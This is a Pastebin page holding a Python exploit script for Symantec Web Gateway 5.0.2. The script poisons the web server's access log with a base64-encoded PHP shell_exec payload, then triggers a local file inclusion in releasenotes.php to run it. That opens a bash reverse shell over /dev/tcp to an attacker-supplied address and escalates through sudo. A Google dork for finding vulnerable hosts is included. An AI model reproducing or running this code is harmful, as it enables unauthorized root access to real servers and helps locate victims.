Advertisement
infodox

Symantec Web Gateway 5.0.2 Remote LFI root Exploit

May 26th, 2012
385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.98 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Symantec Web Gateway 5.0.2 Remote LFI root Exploit
  3. # Slightly weaponized version of Muts exploit
  4. # See http://www.exploit-db.com/exploits/18932/ for original
  5. # infodox - http://insecurety.net
  6. # NOW WITH GOOGLE DORK :D
  7. # Googledork: inurl:"spywall" intitle:"symantec Web Gateway" filetype:php
  8. # Variations of that should be fine... There are not many indexed but still :)
  9. # Thanks to dir\n0h for the dork :3
  10. import base64
  11. import socket
  12. import sys
  13. def banner():
  14.     print """
  15.    Symantec Web Gateway 5.0.2 Remote LFI root Exploit
  16.    Original bug and exploit by muts (at) offensive-security (dot) com
  17.    Somewhat more weaponized exploit by infodox (at) insecurety.net
  18.    Original Exploit: http://www.exploit-db.com/exploits/18932/
  19.    All we did was make it a bit more useable :)
  20.    """
  21.  
  22. if len(sys.argv) != 4:
  23.     banner()
  24.     print "Usage: ./x2.py <target> <reverseip> <reverseport>"
  25.     sys.exit(1)
  26.  
  27. banner()
  28. target = sys.argv[1]
  29. reverseip = sys.argv[2]
  30. reverseport = sys.argv[3]
  31. payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/%s/%s 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript''' %(reverseip, reverseport)
  32. payloadencoded=base64.encodestring(payload).replace("\n","")
  33. taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded
  34. print "[*] Using " + target + " as our target!"
  35. print "[*] Reverse Shell Phoning home to " + reverseip
  36. print "[*] Better have your listener on " +reverseport
  37.  
  38. print "[+] Injecting the evil PHP shell..."
  39. expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
  40. expl.connect((target, 80))
  41. expl.send(taint)
  42. expl.close()
  43.  
  44. print "[+] Triggering the bug..."
  45. trigger="GET /spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log HTTP/1.0\r\n\r\n"
  46. expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
  47. expl.connect((target, 80))
  48. expl.send(trigger)
  49. expl.close()
  50. print "[+] Enjoy your shell :)"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement